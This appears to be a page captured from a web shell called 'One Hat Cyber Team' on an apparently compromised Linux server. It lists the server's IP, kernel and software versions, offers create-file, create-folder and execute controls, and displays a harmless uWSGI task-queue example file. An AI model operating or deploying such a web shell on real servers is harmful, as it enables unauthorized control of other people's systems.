⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.96
Server IP:
147.93.97.220
Server:
Linux srv843233 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
uwsgi-core
/
examples
/
wsgi
/
View File Name :
taskqueue.py
from threading import Thread import uwsgi from six.moves import queue CONSUMERS = 4 def consumer(q): while True: item = q.get() print(item) #... DO A HEAVY TASK HERE ... q.task_done() def spawn_consumers(): global q q = queue.Queue() for i in range(CONSUMERS): t = Thread(target=consumer,args=(q,)) t.daemon = True t.start() print("consumer %d on worker %d started" % (i, uwsgi.worker_id())) uwsgi.post_fork_hook = spawn_consumers def application(env, start_response): global q # we pass a copy of the env dictionary as it gets cleared after yield/return q.put(env.copy()) start_response('200 OK', [('Content-Type', 'text/html')]) yield "Task enqueued"